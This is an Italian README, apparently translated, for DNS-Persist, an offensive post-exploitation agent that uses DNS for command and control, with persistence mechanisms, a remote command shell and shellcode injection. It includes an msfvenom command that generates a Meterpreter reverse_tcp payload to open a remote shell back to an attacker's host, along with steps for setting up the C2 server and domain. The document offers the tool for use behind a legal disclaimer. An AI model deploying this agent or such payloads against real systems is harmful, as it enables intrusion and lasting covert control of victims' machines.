
DNS-Persist è un agente post-sfruttamento che utilizza il DNS per il comando e controllo.
DNS-Persist è un agente post-sfruttamento che utilizza il DNS per il comando e controllo. Il codice lato server è in Python e l'agente è codificato in C++. Questa è la prima versione, in futuro verranno aggiunte più funzionalità e miglioramenti.
0x09AL - https://twitter.com/0x09al
NON UTILIZZARE QUESTO SOFTWARE PER SCOPI ILLEGALI.
L'AUTORE NON SI ASSUME ALCUNA RESPONSABILITÀ PER QUALSIASI USO IMPROPRIO DEL CODICE FORNITO QUI.
C'è molto ottimo lavoro sul DNS C2 ma ho creato questo software per concentrarmi maggiormente sulla parte di persistenza. Non sono un esperto in C++ e questo è il mio primo "programma vero" in C++ (quindi aspettatevi del codice imbarazzante).
Suggerimenti su funzionalità e miglioramenti sono aperti.
Ci sono due parti principali:

Questa versione ha solo 3 meccanismi di persistenza. Altri verranno aggiunti in seguito.
Questa versione supporta una shell di comando pseudo-interattiva che puoi utilizzare per eseguire comandi di sistema.
Questa versione supporta l'iniezione di shellcode a 32 bit. Lo shellcode viene eseguito in un nuovo thread nello stesso processo, quindi uno shellcode che crasha o non valido farà crashare anche l'agente. Evita byte NULL nello shellcode.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex
pip install dnslib
git clone https://github.com/0x09AL/DNS-Persist
python server.py
Per impostazione predefinita viene avviato un server DNS sulla porta 53. Puoi modificarlo nel file server.py.
Ho usato Visual Studio 2010 per codificare l'agente, quindi importarlo e compilarlo dovrebbe essere abbastanza facile.
Tieni presente di modificare la variabile DOMAIN_NAME in Declarations.h per corrispondere al tuo nome di dominio.
I nameserver del dominio dovrebbero puntare all'indirizzo IP di DNS-Persist.
#define DOMAIN_NAME "example.com"



